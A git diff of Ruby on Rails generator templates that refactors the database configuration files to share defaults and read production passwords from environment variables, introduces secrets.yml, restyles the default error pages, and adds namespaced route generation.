diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
index 5a594ac1f3..acb93939e1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -8,26 +8,45 @@
#
# And be sure to use new-style password hashing:
# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
adapter: mysql
- database: <%= app_name %>_development
username: root
password:
host: localhost
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: mysql
+ <<: *default
database: <%= app_name %>_test
- username: root
- password:
- host: localhost
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: mysql
+ <<: *default
database: <%= app_name %>_production
- username: root
- password:
- host: localhost
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
index e1a00d076f..9e99264d33 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -2,13 +2,23 @@
#
# Configure Using Gemfile
# gem 'activerecord-jdbcpostgresql-adapter'
-
-development:
+#
+default: &default
adapter: postgresql
encoding: unicode
+
+development:
+ <<: *default
database: <%= app_name %>_development
- username: <%= app_name %>
- password:
+
+ # The specified database role being used to connect to postgres.
+ # To create additional roles in postgres see `$ createuser --help`.
+ # When left blank, postgres will use the default role. This is
+ # the same name as the operating system user that initialized the database.
+ #username: <%= app_name %>
+
+ # The password associated with the postgres role (username).
+ #password:
# Connect on a TCP socket. Omitted by default since the client uses a
# domain socket that doesn't need configuration. Windows does not have
@@ -29,15 +39,30 @@ development:
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password:
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password:
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
index 175f3eb3db..28c36eb82f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -4,17 +4,20 @@
# Configure Using Gemfile
# gem 'activerecord-jdbcsqlite3-adapter'
#
-development:
+default: &default
adapter: sqlite3
+
+development:
+ <<: *default
database: db/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: sqlite3
+ <<: *default
database: db/test.sqlite3
production:
- adapter: sqlite3
+ <<: *default
database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index c3349912aa..4b2e6646c7 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,4 +1,4 @@
-# MySQL. Versions 4.1 and 5.0 are recommended.
+# MySQL. Versions 5.0+ are recommended.
#
# Install the MYSQL driver
# gem install mysql2
@@ -8,10 +8,10 @@
#
# And be sure to use new-style password hashing:
# http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
adapter: mysql2
encoding: utf8
- database: <%= app_name %>_development
pool: 5
username: root
password:
@@ -21,31 +21,38 @@ development:
host: localhost
<% end -%>
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: mysql2
- encoding: utf8
+ <<: *default
database: <%= app_name %>_test
- pool: 5
- username: root
- password:
-<% if mysql_socket -%>
- socket: <%= mysql_socket %>
-<% else -%>
- host: localhost
-<% end -%>
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="mysql2://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: mysql2
- encoding: utf8
+ <<: *default
database: <%= app_name %>_production
- pool: 5
- username: root
- password:
-<% if mysql_socket -%>
- socket: <%= mysql_socket %>
-<% else -%>
- host: localhost
-<% end -%>
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
index b661a60389..10ab4c02e2 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -16,24 +16,43 @@
# prefetch_rows: 100
# cursor_sharing: similar
#
-
-development:
+default: &default
adapter: oracle
- database: <%= app_name %>_development
username: <%= app_name %>
password:
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: oracle
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password:
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="oracle://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: oracle
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password:
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index eb569b7dab..feb25bbc6b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -14,13 +14,25 @@
# Configure Using Gemfile
# gem 'pg'
#
-development:
+default: &default
adapter: postgresql
encoding: unicode
- database: <%= app_name %>_development
+ # For details on connection pooling, see rails configuration guide
+ # http://guides.rubyonrails.org/configuring.html#database-pooling
pool: 5
- username: <%= app_name %>
- password:
+
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
+ # The specified database role being used to connect to postgres.
+ # To create additional roles in postgres see `$ createuser --help`.
+ # When left blank, postgres will use the default role. This is
+ # the same name as the operating system user that initialized the database.
+ #username: <%= app_name %>
+
+ # The password associated with the postgres role (username).
+ #password:
# Connect on a TCP socket. Omitted by default since the client uses a
# domain socket that doesn't need configuration. Windows does not have
@@ -44,17 +56,30 @@ development:
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_test
- pool: 5
- username: <%= app_name %>
- password:
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: postgresql
- encoding: unicode
+ <<: *default
database: <%= app_name %>_production
- pool: 5
username: <%= app_name %>
- password:
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
index 51a4dd459d..1c1a37ca8d 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -3,23 +3,23 @@
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem 'sqlite3'
-development:
+#
+default: &default
adapter: sqlite3
- database: db/development.sqlite3
pool: 5
timeout: 5000
+development:
+ <<: *default
+ database: db/development.sqlite3
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: sqlite3
+ <<: *default
database: db/test.sqlite3
- pool: 5
- timeout: 5000
production:
- adapter: sqlite3
+ <<: *default
database: db/production.sqlite3
- pool: 5
- timeout: 5000
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
index 7ef89d6608..30b0df34a8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -21,37 +21,48 @@
# If you can connect with "tsql -S servername", your basic FreeTDS installation is working.
# 'man tsql' for more info
# Set timeout to a larger number if valid queries against a live db fail
-
-development:
+#
+default: &default
adapter: sqlserver
encoding: utf8
reconnect: false
- database: <%= app_name %>_development
username: <%= app_name %>
password:
timeout: 25
dataserver: from_freetds.conf
+development:
+ <<: *default
+ database: <%= app_name %>_development
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: sqlserver
- encoding: utf8
- reconnect: false
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password:
- timeout: 25
- dataserver: from_freetds.conf
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="sqlserver://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: sqlserver
- encoding: utf8
- reconnect: false
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password:
- timeout: 25
- dataserver: from_freetds.conf
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index cff570a631..de12565a73 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -22,12 +22,20 @@ Rails.application.configure do
<%- unless options.skip_active_record? -%>
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
- <%- end -%>
+ <%- end -%>
<%- unless options.skip_sprockets? -%>
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
+
+ # Adds additional error checking when serving assets at runtime.
+ # Checks for improperly declared sprockets dependencies.
+ # Raises helpful error messages.
+ config.assets.raise_runtime_errors = true
<%- end -%>
+
+ # Raises error for missing translations
+ # config.action_view.raise_on_missing_translations = true
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 1dfc9f136b..9ed71687ea 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -5,7 +5,7 @@ Rails.application.configure do
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
- # your application in memory, allowing both thread web servers
+ # your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
@@ -33,8 +33,7 @@ Rails.application.configure do
# Generate digests for assets URLs.
config.assets.digest = true
- # Version of your assets, change this if you want to expire all your assets.
- config.assets.version = '1.0'
+ # `config.assets.precompile` has moved to config/initializers/assets.rb
<%- end -%>
# Specifies the header that your server uses for sending files.
@@ -59,18 +58,12 @@ Rails.application.configure do
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = "http://assets.example.com"
- <%- unless options.skip_sprockets? -%>
- # Precompile additional assets.
- # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
- # config.assets.precompile += %w( search.js )
- <%- end -%>
-
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
- # the I18n.default_locale when a translation can not be found).
+ # the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
@@ -81,4 +74,9 @@ Rails.application.configure do
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
+ <%- unless options.skip_active_record? -%>
+
+ # Do not dump schema after migrations.
+ config.active_record.dump_schema_after_migration = false
+ <%- end -%>
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index ba0742f97f..053f5b66d7 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -14,7 +14,7 @@ Rails.application.configure do
# Configure static asset server for tests with Cache-Control for performance.
config.serve_static_assets = true
- config.static_cache_control = "public, max-age=3600"
+ config.static_cache_control = 'public, max-age=3600'
# Show full error reports and disable caching.
config.consider_all_requests_local = true
@@ -33,4 +33,7 @@ Rails.application.configure do
# Print deprecation notices to the stderr.
config.active_support.deprecation = :stderr
+
+ # Raises error for missing translations
+ # config.action_view.raise_on_missing_translations = true
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
new file mode 100644
index 0000000000..d2f4ec33a6
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt
@@ -0,0 +1,8 @@
+# Be sure to restart your server when you modify this file.
+
+# Version of your assets, change this if you want to expire all your assets.
+Rails.application.config.assets.version = '1.0'
+
+# Precompile additional assets.
+# application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+# Rails.application.config.assets.precompile += %w( search.js )
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
new file mode 100644
index 0000000000..7f70458dee
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+Rails.application.config.action_dispatch.cookies_serializer = :json
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
index 72aca7e441..dc1899682b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb
@@ -2,4 +2,3 @@
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
-# Mime::Type.register_alias "text/html", :iphone
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
index f3cc6098a3..b2669a0f79 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/secrets.yml
@@ -7,6 +7,16 @@
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.
-# Make sure your secret_key_base is kept private
+# Make sure the secrets in this file are kept private
# if you're sharing your code publicly.
-Rails.application.config.secret_key_base = '<%= app_secret %>'
+
+development:
+ secret_key_base: <%= app_secret %>
+
+test:
+ secret_key_base: <%= app_secret %>
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+ secret_key_base: <%%= ENV["SECRET_KEY_BASE"] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
index 6a502e997f..8775e5e235 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -7,10 +7,12 @@
# Ignore bundler config.
/.bundle
+<% if sqlite3? -%>
# Ignore the default SQLite database.
/db/*.sqlite3
/db/*.sqlite3-journal
+<% end -%>
# Ignore all logfiles and tempfiles.
/log/*.log
/tmp
diff --git a/railties/lib/rails/generators/rails/app/templates/public/404.html b/railties/lib/rails/generators/rails/app/templates/public/404.html
index a0daa0c156..b612547fc2 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/404.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/404.html
@@ -2,17 +2,23 @@
<html>
<head>
<title>The page you were looking for doesn't exist (404)</title>
+ <meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body {
background-color: #EFEFEF;
color: #2E2F30;
text-align: center;
font-family: arial, sans-serif;
+ margin: 0;
}
div.dialog {
- width: 25em;
- margin: 4em auto 0 auto;
+ width: 95%;
+ max-width: 33em;
+ margin: 4em auto 0;
+ }
+
+ div.dialog > div {
border: 1px solid #CCC;
border-right-color: #999;
border-left-color: #999;
@@ -21,7 +27,8 @@
border-top-left-radius: 9px;
border-top-right-radius: 9px;
background-color: white;
- padding: 7px 4em 0 4em;
+ padding: 7px 12% 0;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
h1 {
@@ -30,19 +37,19 @@
line-height: 1.5em;
}
- body > p {
- width: 33em;
- margin: 0 auto 1em;
- padding: 1em 0;
+ div.dialog > p {
+ margin: 0 0 1em;
+ padding: 1em;
background-color: #F7F7F7;
border: 1px solid #CCC;
border-right-color: #999;
+ border-left-color: #999;
border-bottom-color: #999;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
border-top-color: #DADADA;
color: #666;
- box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
</style>
</head>
@@ -50,9 +57,11 @@
<body>
<!-- This file lives in public/404.html -->
<div class="dialog">
- <h1>The page you were looking for doesn't exist.</h1>
- <p>You may have mistyped the address or the page may have moved.</p>
+ <div>
+ <h1>The page you were looking for doesn't exist.</h1>
+ <p>You may have mistyped the address or the page may have moved.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
</div>
- <p>If you are the application owner check the logs for more information.</p>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/422.html b/railties/lib/rails/generators/rails/app/templates/public/422.html
index fbb4b84d72..a21f82b3bd 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/422.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/422.html
@@ -2,17 +2,23 @@
<html>
<head>
<title>The change you wanted was rejected (422)</title>
+ <meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body {
background-color: #EFEFEF;
color: #2E2F30;
text-align: center;
font-family: arial, sans-serif;
+ margin: 0;
}
div.dialog {
- width: 25em;
- margin: 4em auto 0 auto;
+ width: 95%;
+ max-width: 33em;
+ margin: 4em auto 0;
+ }
+
+ div.dialog > div {
border: 1px solid #CCC;
border-right-color: #999;
border-left-color: #999;
@@ -21,7 +27,8 @@
border-top-left-radius: 9px;
border-top-right-radius: 9px;
background-color: white;
- padding: 7px 4em 0 4em;
+ padding: 7px 12% 0;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
h1 {
@@ -30,19 +37,19 @@
line-height: 1.5em;
}
- body > p {
- width: 33em;
- margin: 0 auto 1em;
- padding: 1em 0;
+ div.dialog > p {
+ margin: 0 0 1em;
+ padding: 1em;
background-color: #F7F7F7;
border: 1px solid #CCC;
border-right-color: #999;
+ border-left-color: #999;
border-bottom-color: #999;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
border-top-color: #DADADA;
color: #666;
- box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
</style>
</head>
@@ -50,9 +57,11 @@
<body>
<!-- This file lives in public/422.html -->
<div class="dialog">
- <h1>The change you wanted was rejected.</h1>
- <p>Maybe you tried to change something you didn't have access to.</p>
+ <div>
+ <h1>The change you wanted was rejected.</h1>
+ <p>Maybe you tried to change something you didn't have access to.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
</div>
- <p>If you are the application owner check the logs for more information.</p>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index e9052d35bf..061abc587d 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -2,17 +2,23 @@
<html>
<head>
<title>We're sorry, but something went wrong (500)</title>
+ <meta name="viewport" content="width=device-width,initial-scale=1">
<style>
body {
background-color: #EFEFEF;
color: #2E2F30;
text-align: center;
font-family: arial, sans-serif;
+ margin: 0;
}
div.dialog {
- width: 25em;
- margin: 4em auto 0 auto;
+ width: 95%;
+ max-width: 33em;
+ margin: 4em auto 0;
+ }
+
+ div.dialog > div {
border: 1px solid #CCC;
border-right-color: #999;
border-left-color: #999;
@@ -21,7 +27,8 @@
border-top-left-radius: 9px;
border-top-right-radius: 9px;
background-color: white;
- padding: 7px 4em 0 4em;
+ padding: 7px 12% 0;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
h1 {
@@ -30,19 +37,19 @@
line-height: 1.5em;
}
- body > p {
- width: 33em;
- margin: 0 auto 1em;
- padding: 1em 0;
+ div.dialog > p {
+ margin: 0 0 1em;
+ padding: 1em;
background-color: #F7F7F7;
border: 1px solid #CCC;
border-right-color: #999;
+ border-left-color: #999;
border-bottom-color: #999;
border-bottom-left-radius: 4px;
border-bottom-right-radius: 4px;
border-top-color: #DADADA;
color: #666;
- box-shadow:0 3px 8px rgba(50, 50, 50, 0.17);
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
}
</style>
</head>
@@ -50,8 +57,10 @@
<body>
<!-- This file lives in public/500.html -->
<div class="dialog">
- <h1>We're sorry, but something went wrong.</h1>
+ <div>
+ <h1>We're sorry, but something went wrong.</h1>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
</div>
- <p>If you are the application owner check the logs for more information.</p>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/robots.txt b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
index 1a3a5e4dd2..3c9c7c01f3 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/robots.txt
+++ b/railties/lib/rails/generators/rails/app/templates/public/robots.txt
@@ -1,4 +1,4 @@
-# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-agent: *
diff --git a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
index 4fd060341e..6b011e577a 100644
--- a/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
+++ b/railties/lib/rails/generators/rails/app/templates/test/test_helper.rb
@@ -1,11 +1,9 @@
-ENV["RAILS_ENV"] ||= "test"
+ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
require 'rails/test_help'
class ActiveSupport::TestCase
<% unless options[:skip_active_record] -%>
- ActiveRecord::Migration.check_pending!
-
# Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
#
# Note: You'll currently still have to declare fixtures explicitly in integration tests
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
index bae54623c6..7588a558e7 100644
--- a/railties/lib/rails/generators/rails/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -10,11 +10,45 @@ module Rails
def add_routes
actions.reverse.each do |action|
- route %{get "#{file_name}/#{action}"}
+ route generate_routing_code(action)
end
end
hook_for :template_engine, :test_framework, :helper, :assets
+
+ private
+
+ # This method creates nested route entry for namespaced resources.
+ # For eg. rails g controller foo/bar/baz index
+ # Will generate -
+ # namespace :foo do
+ # namespace :bar do
+ # get 'baz/index'
+ # end
+ # end
+ def generate_routing_code(action)
+ depth = regular_class_path.length
+ # Create 'namespace' ladder
+ # namespace :foo do
+ # namespace :bar do
+ namespace_ladder = regular_class_path.each_with_index.map do |ns, i|
+ indent("namespace :#{ns} do\n", i * 2)
+ end.join
+
+ # Create route
+ # get 'baz/index'
+ route = indent(%{get '#{file_name}/#{action}'\n}, depth * 2)
+
+ # Create `end` ladder
+ # end
+ # end
+ end_ladder = (1..depth).reverse_each.map do |i|
+ indent("end\n", i * 2)
+ end.join
+
+ # Combine the 3 parts to generate complete route entry
+ namespace_ladder + route + end_ladder
+ end
end
end
end
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/rails/generators/rails/generator/USAGE
index d28eb3d7d8..799383050c 100644
--- a/railties/lib/rails/generators/rails/generator/USAGE
+++ b/railties/lib/rails/generators/rails/generator/USAGE
@@ -10,3 +10,4 @@ Example:
lib/generators/awesome/awesome_generator.rb
lib/generators/awesome/USAGE
lib/generators/awesome/templates/
+ test/lib/generators/awesome_generator_test.rb
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/rails/generators/rails/generator/generator_generator.rb
index 9a7a516b5b..15d88f06ac 100644
--- a/railties/lib/rails/generators/rails/generator/generator_generator.rb
+++ b/railties/lib/rails/generators/rails/generator/generator_generator.rb
@@ -10,6 +10,8 @@ module Rails
directory '.', generator_dir
end
+ hook_for :test_framework
+
protected
def generator_dir
diff --git a/railties/lib/rails/generators/rails/model/USAGE b/railties/lib/rails/generators/rails/model/USAGE
index 145d9ee6e0..833b7beb7f 100644
--- a/railties/lib/rails/generators/rails/model/USAGE
+++ b/railties/lib/rails/generators/rails/model/USAGE
@@ -60,7 +60,7 @@ Available field types:
For decimal, two integers separated by a comma in curly braces will be used
for precision and scale:
- `rails generate model product price:decimal{10,2}`
+ `rails generate model product 'price:decimal{10,2}'`
You can add a `:uniq` or `:index` suffix for unique or standard indexes
respectively:
diff --git a/railties/lib/rails/generators/rails/model/model_generator.rb b/railties/lib/rails/generators/rails/model/model_generator.rb
index ea3d69d7c9..87bab129bb 100644
--- a/railties/lib/rails/generators/rails/model/model_generator.rb
+++ b/railties/lib/rails/generators/rails/model/model_generator.rb
@@ -1,6 +1,10 @@
+require 'rails/generators/model_helpers'
+
module Rails
module Generators
class ModelGenerator < NamedBase # :nodoc:
+ include Rails::Generators::ModelHelpers
+
argument :attributes, type: :array, default: [], banner: "field[:type][:index] field[:type][:index]"
hook_for :orm, required: true
end
